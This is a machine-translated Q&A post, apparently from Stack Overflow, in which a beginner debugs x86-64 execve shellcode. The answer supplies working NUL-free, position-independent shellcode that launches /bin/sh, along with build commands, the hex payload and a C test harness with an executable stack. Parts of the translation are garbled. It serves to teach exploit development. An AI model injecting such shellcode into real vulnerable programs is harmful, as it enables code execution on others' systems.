Shellcode: Hướng dẫn bất hợp pháp
Tôi là người mới phát triển shellcode và tôi không thể hiểu tại sao shellcode được tạo không hoạt động như mong đợi.
Mã Assembler:
Dựa trên câu trả lời cho câu hỏi trước của tôi.
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command, command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0, %rdx /* save NULL to rdx */
syscall /* make system call */
Mã kiểm tra C:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Đầu ra:
Illegal instruction
Chi tiết: Kali Linux GNU / Linux i386 x86_64
Trả lời
Vấn đề với mã của bạn là chuỗi shell bạn đã tạo không bao gồm bất kỳ dữ liệu nào. Và dữ liệu bao gồm các con trỏ tuyệt đối nên không độc lập về vị trí, vì vậy sẽ không hoạt động nếu bạn di chuyển nó đến .textvà bao gồm nó. Sau khi chạy bên trong chương trình khác khi bạn đang thực hiện trong mã C , chương trình sẽ cố gắng tìm dữ liệu không tồn tại và tại các vị trí bộ nhớ cố định không áp dụng cho chương trình có thể khai thác mà bạn đang chạy bên trong.
Tôi nghĩ rằng bạn có thể có một vấn đề khác gây ra hướng dẫn bất hợp pháp . Bạn không cho biết cách bạn xây dựng chương trình C của mình , nhưng tôi tự hỏi liệu nó có phải là 32-bit và shellcode của bạn là 64-bit hay không. Tôi bắt đầu nghĩ rằng chương trình C của bạn có thể đã được biên dịch dưới dạng chương trình 32 bit và hướng dẫn Bất hợp pháp có thể là do bạn không thể chạy mã 64 bit (mã shell) một cách đáng tin cậy trong một chương trình 32 bit. Ví dụ: SYSCALLhướng dẫn là một mã opcode không hợp lệ trong chương trình 32-bit trên các CPU không phải của AMD. Đây chỉ là phỏng đoán trong trường hợp không có thêm bất kỳ chi tiết nào về cách bạn biên dịch / lắp ráp / liên kết mã shell và chương trình C của bạn .
Bạn sẽ phải tạo mã độc lập vị trí (PIC) để nó có thể chạy ở bất kỳ đâu sau khi được tải trên ngăn xếp. Dữ liệu của bạn sẽ phải được đặt bên trong phân đoạn có mã. Mã cũng phải tránh tạo ký tự NUL (0x00) vì điều đó sẽ kết thúc sớm một chuỗi nếu được cung cấp làm đầu vào của người dùng cho một chương trình có thể khai thác thực tế.
Một phiên bản mã của bạn có thể được sử dụng cho những mục đích như vậy có thể trông giống như sau:
shellcode.s :
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax, %eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al, arg2_nul(%rip)
mov %al, arg1_nul(%rip)
mov %al, name_nul(%rip)
lea name(%rip), %rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip), %rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip), %rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp, %rsi # RSI = Pointer to the program argument array
mov %rax, %rdx # RDX = 0 = NULL envp parameter
mov $59, %al # RAX = execve system call number
syscall
Bạn có thể tạo chuỗi kiểu C bằng:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Các hexdumplệnh trên sản lượng sẽ:
\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05
Bạn sẽ nhận thấy không có \x00ký tự nào không giống mã của bạn. Bạn có thể sử dụng chuỗi này trực tiếp trong một chương trình C như:
khai thác.c :
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
Điều này phải được biên dịch và liên kết với một ngăn xếp thực thi:
gcc -zexecstack exploit.c -o exploit
strace ./exploitsẽ tạo ra một EXECVElệnh gọi hệ thống tương tự như:
thi hành ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0
Lưu ý : Cá nhân tôi sẽ xây dựng các chuỗi theo chương trình trên ngăn xếp tương tự như mã trong một câu trả lời Stackoverflow khác mà tôi đã viết.